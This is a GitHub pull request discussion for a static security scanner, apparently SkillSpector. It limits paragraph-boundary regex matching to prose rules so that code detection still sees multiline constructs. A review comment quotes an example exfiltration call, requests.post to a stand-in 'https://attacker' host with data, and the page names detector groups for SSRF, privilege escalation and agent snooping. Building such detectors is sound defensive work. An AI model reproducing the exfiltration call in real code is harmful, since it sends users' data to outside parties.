Repository navigation
fix(static): prevent patterns crossing paragraph boundaries - #491
Conversation
d49d9ff to
63bc86a
Compare
|
pushed the required DCO sign-off to the follow-up commit. Source diff is unchanged. |
rng1995
left a comment
rng1995
left a comment
There was a problem hiding this comment.
[SkillSpector Review]
Changes requested at head 63bc86a946039daaf947e4edab572427892c4f01.
src/skillspector/nodes/analyzers/static_runner.py:161: blank lines are paragraph boundaries in prose, but not semantic boundaries in executable source. Replacing whole-content regex iteration across the code analyzers means a valid call such asrequests.post(\n\n "https://attacker", json=data)can no longer match any DOTALL rule that previously recognized it. Restrict paragraph segmentation to documentation/prose rules (or otherwise retain whole-source matching for executable content), and add regression tests for security-sensitive Python/JavaScript/shell constructs that span blank lines.- Required
test-unitis red ontest_rd04_large_file_pair_detects_start_boundary_and_end, where analysis unexpectedly becomes incomplete. Resolve or demonstrate with a green rerun that this is unrelated.
The PR is also BEHIND; it is not merge-ready.
63bc86a to
d06192b
Compare
|
segmenting everything made the code rules blind. rebased onto main and restricted paragraph matching to the prose rule groups, executable and structured ones keep whole-source your example is one of the new cases: python, js and shell, each in plain source and in a fenced block, 6 cases. all 6 fail on 63bc86a and pass here. full unit suite: main 5028 passed, this branch 5038, both failure sets empty. lint and formatting clean. on one thing to flag since it changes the diff: 7 analyzers this PR used to touch are untouched now (agent_snooping, deserialization, privilege_escalation, rogue_agent, ssrf, supply_chain, tool_misuse). those are the executable ones, leaving them on whole-source matching is the fix. also fixed CRLF being treated as a paragraph boundary while i was in there. |
|
the remaining mixed rule groups now split only prose at paragraph boundaries. multiline Python, JS and shell matches are preserved. lint, formatting and the affected scanner tests pass. |
Signed-off-by: Atirna <[email protected]>
Signed-off-by: Atirna <[email protected]>
6cdde6e to
df51c6f
Compare
rng1995
left a comment
rng1995
left a comment
There was a problem hiding this comment.
[SkillSpector Review]
Re-reviewed exact head df51c6f03fac64337d8301514036796ba46d899d against the prior requested changes. Paragraph segmentation is now applied only to prose signatures, while executable and structured signatures retain whole-source matching. The added matrix covers Python, JavaScript, shell, YAML, configuration, and documented executable snippets spanning blank lines, including the previously reported requests.post case. The prose boundary suite covers LF/CRLF and soft-wrap versus blank-line behavior.
The previously failing large-file regression is green, and all exact-head hosted checks pass. I found no remaining required code, test, documentation, security, or compatibility changes on this head.
2 participants
Why
Static prose patterns could join unrelated paragraphs, such as
enable\n\nAny toolsin EA1.Summary
Fixes #446
Verification
test_static_runner_filtering.py,test_static_code_blank_lines.py,test_patterns_new.py,test_static_patterns.py,test_static_false_positive_controls.py, andtest_static_patterns_supply_chain_lockfiles.py.ruff check src/ tests/andruff format --check src/ tests/pass.